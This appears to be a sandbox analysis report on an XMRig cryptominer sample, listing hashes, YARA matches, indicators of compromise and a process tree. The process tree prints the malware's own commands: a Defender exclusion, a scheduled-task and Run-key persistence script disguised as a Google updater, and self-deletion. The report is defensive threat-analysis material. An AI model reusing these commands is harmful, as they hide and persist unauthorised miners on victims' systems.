xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1785s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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Report Analysis Logs

General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 4028 created 3428	4028	3JynzWc6LxNCT2y8.exe	40
PID 4028 created 3428	4028	3JynzWc6LxNCT2y8.exe	40
PID 4028 created 3428	4028	3JynzWc6LxNCT2y8.exe	40
PID 4028 created 3428	4028	3JynzWc6LxNCT2y8.exe	40
PID 4112 created 3428	4112	updater.exe	40
PID 4112 created 3428	4112	updater.exe	40
PID 4112 created 3428	4112	updater.exe	40
PID 1308 created 3428	1308	conhost.exe	40
PID 4112 created 3428	4112	updater.exe	40

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral2/memory/3472-121-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-127-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-131-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-132-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-134-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-137-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-140-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-142-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-144-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-146-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-148-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-150-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-152-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-154-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-156-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-158-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-160-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-162-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-164-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-166-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-168-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-170-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-172-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-174-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-176-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-178-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-180-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-182-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-184-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-186-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig
behavioral2/memory/3472-188-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4112	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3472-121-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-127-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-131-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-132-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-134-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-137-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-140-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-142-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-144-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-146-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-148-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-150-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-152-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-154-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-156-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-158-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-160-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-162-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-164-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-166-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-168-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-170-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-172-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-174-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-176-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-178-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-180-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-182-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-184-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-186-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx
behavioral2/memory/3472-188-0x00007FF68CF20000-0x00007FF68D714000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4112 set thread context of 1308	4112	updater.exe	118
PID 4112 set thread context of 3472	4112	updater.exe	114

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1936	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4028	3JynzWc6LxNCT2y8.exe
4028	3JynzWc6LxNCT2y8.exe
2184	powershell.exe
2184	powershell.exe
4028	3JynzWc6LxNCT2y8.exe
4028	3JynzWc6LxNCT2y8.exe
4256	powershell.exe
4256	powershell.exe
4028	3JynzWc6LxNCT2y8.exe
4028	3JynzWc6LxNCT2y8.exe
4028	3JynzWc6LxNCT2y8.exe
4028	3JynzWc6LxNCT2y8.exe
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
4112	updater.exe
4112	updater.exe
1124	powershell.exe
1124	powershell.exe
4112	updater.exe
4112	updater.exe
2032	powershell.exe
2032	powershell.exe
4112	updater.exe
4112	updater.exe
4112	updater.exe
4112	updater.exe
1308	conhost.exe
1308	conhost.exe
4112	updater.exe
4112	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeIncreaseQuotaPrivilege	4256	powershell.exe
Token: SeSecurityPrivilege	4256	powershell.exe
Token: SeTakeOwnershipPrivilege	4256	powershell.exe
Token: SeLoadDriverPrivilege	4256	powershell.exe
Token: SeSystemProfilePrivilege	4256	powershell.exe
Token: SeSystemtimePrivilege	4256	powershell.exe
Token: SeProfSingleProcessPrivilege	4256	powershell.exe
Token: SeIncBasePriorityPrivilege	4256	powershell.exe
Token: SeCreatePagefilePrivilege	4256	powershell.exe
Token: SeBackupPrivilege	4256	powershell.exe
Token: SeRestorePrivilege	4256	powershell.exe
Token: SeShutdownPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeSystemEnvironmentPrivilege	4256	powershell.exe
Token: SeRemoteShutdownPrivilege	4256	powershell.exe
Token: SeUndockPrivilege	4256	powershell.exe
Token: SeManageVolumePrivilege	4256	powershell.exe
Token: 33	4256	powershell.exe
Token: 34	4256	powershell.exe
Token: 35	4256	powershell.exe
Token: 36	4256	powershell.exe
Token: SeIncreaseQuotaPrivilege	4256	powershell.exe
Token: SeSecurityPrivilege	4256	powershell.exe
Token: SeTakeOwnershipPrivilege	4256	powershell.exe
Token: SeLoadDriverPrivilege	4256	powershell.exe
Token: SeSystemProfilePrivilege	4256	powershell.exe
Token: SeSystemtimePrivilege	4256	powershell.exe
Token: SeProfSingleProcessPrivilege	4256	powershell.exe
Token: SeIncBasePriorityPrivilege	4256	powershell.exe
Token: SeCreatePagefilePrivilege	4256	powershell.exe
Token: SeBackupPrivilege	4256	powershell.exe
Token: SeRestorePrivilege	4256	powershell.exe
Token: SeShutdownPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeSystemEnvironmentPrivilege	4256	powershell.exe
Token: SeRemoteShutdownPrivilege	4256	powershell.exe
Token: SeUndockPrivilege	4256	powershell.exe
Token: SeManageVolumePrivilege	4256	powershell.exe
Token: 33	4256	powershell.exe
Token: 34	4256	powershell.exe
Token: 35	4256	powershell.exe
Token: 36	4256	powershell.exe
Token: SeIncreaseQuotaPrivilege	4256	powershell.exe
Token: SeSecurityPrivilege	4256	powershell.exe
Token: SeTakeOwnershipPrivilege	4256	powershell.exe
Token: SeLoadDriverPrivilege	4256	powershell.exe
Token: SeSystemProfilePrivilege	4256	powershell.exe
Token: SeSystemtimePrivilege	4256	powershell.exe
Token: SeProfSingleProcessPrivilege	4256	powershell.exe
Token: SeIncBasePriorityPrivilege	4256	powershell.exe
Token: SeCreatePagefilePrivilege	4256	powershell.exe
Token: SeBackupPrivilege	4256	powershell.exe
Token: SeRestorePrivilege	4256	powershell.exe
Token: SeShutdownPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeSystemEnvironmentPrivilege	4256	powershell.exe
Token: SeRemoteShutdownPrivilege	4256	powershell.exe
Token: SeUndockPrivilege	4256	powershell.exe
Token: SeManageVolumePrivilege	4256	powershell.exe
Token: 33	4256	powershell.exe
Token: 34	4256	powershell.exe
Token: 35	4256	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2156	2240	cmd.exe	101
PID 2240 wrote to memory of 2156	2240	cmd.exe	101
PID 1264 wrote to memory of 336	1264	powershell.exe	105
PID 1264 wrote to memory of 336	1264	powershell.exe	105
PID 4112 wrote to memory of 1308	4112	updater.exe	118
PID 4368 wrote to memory of 1936	4368	cmd.exe	112
PID 4368 wrote to memory of 1936	4368	cmd.exe	112
PID 4112 wrote to memory of 3472	4112	updater.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3428
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4256
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3472
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4368
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1308

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2156

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2796

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 704KB
SHA256 1a69668700e8b13a5069a8e3a6372dcc8f052e35fb293d1a9275d39506388fcc
MD5 7e43cac5bd34dbb2b672cf7479b4f1aa
SHA1 fc776e72701ff8acd5ad2d37246087855b89ef4e
SHA512 6e83f31bb5ba976e14f87b9943f306f1a4fcc1573772a78bcd3f7cd224c078740f4b0d06473d7536eb42f7d03d1784f971b1c51d143e84b2869cbbd38df7ef8d
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGT:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.1MB
SHA256 e0b70b5a1fd8a5e7b29c34063436c6a50b10e83193e562c1282ee5c4dab72610
MD5 c3ad27d7f373206dfba91bfc4b250d46
SHA1 8f26b1df1a7a6f4dcf51d3fe751bd348e3739e79
SHA512 77bf2094ae5f1f45e2115f56ee0548bcc451909dd2ed117873d04a61495ac39b692bed72c754ff103b18123e0e522a244362e4e1deea144e3d4352d8d29a59a2
